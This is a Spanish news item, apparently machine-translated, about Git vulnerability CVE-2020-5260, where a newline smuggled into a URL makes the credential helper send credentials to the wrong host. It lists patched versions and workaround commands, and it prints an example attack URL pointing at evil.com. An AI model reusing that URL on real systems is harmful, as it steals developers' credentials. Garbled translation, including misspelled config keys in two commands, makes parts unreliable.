Vulnerabilidad de fuga de credenciales de Git

Publicado Versiones correctivas del sistema de control de código fuente distribuido Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 y 2.17.4, en que eliminó vulnerabilidad (CVE-2020-5260) en el controlador "credencial.ayudante", lo que hace que las credenciales se envíen al host incorrecto cuando un cliente git accede a un repositorio utilizando una URL con formato especial que contiene un carácter de nueva línea. La vulnerabilidad se puede utilizar para organizar el envío de credenciales de otro host a un servidor controlado por el atacante.

Al especificar una URL como "https://evil.com?%0ahost=github.com/", el controlador de credenciales al conectarse al host evil.com pasará los parámetros de autenticación especificados para github.com. El problema ocurre al realizar operaciones como "git clone", incluido el procesamiento de URL para submódulos (por ejemplo, "git submodule update" procesará automáticamente las URL especificadas en el archivo .gitmodules del repositorio). La vulnerabilidad es más peligrosa en situaciones en las que un desarrollador clona un repositorio sin ver la URL, por ejemplo, cuando trabaja con submódulos, o en sistemas que realizan acciones automáticas, por ejemplo, en scripts de compilación de paquetes.

Para bloquear vulnerabilidades en nuevas versiones esta prohibido pasando un carácter de nueva línea en cualquier valor transmitido a través del protocolo de intercambio de credenciales. Para distribuciones, puede realizar un seguimiento del lanzamiento de actualizaciones de paquetes en las páginas Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arco, FreeBSD.

Como solución alternativa para bloquear el problema. recomendado No utilice credential.helper cuando acceda a repositorios públicos y no utilice "git clone" en el modo "--recurse-submodules" con repositorios no marcados. Para deshabilitar completamente el controlador credential.helper, que no saturación y recuperar contraseñas de cache, protegido repositorios o un archivo con contraseñas, puedes usar los comandos:

git config --unset credencial.helper
git config --global --unset credential.helper
git config --system --unset credencial.helper

Fuente: opennet.ru

Añadir un comentario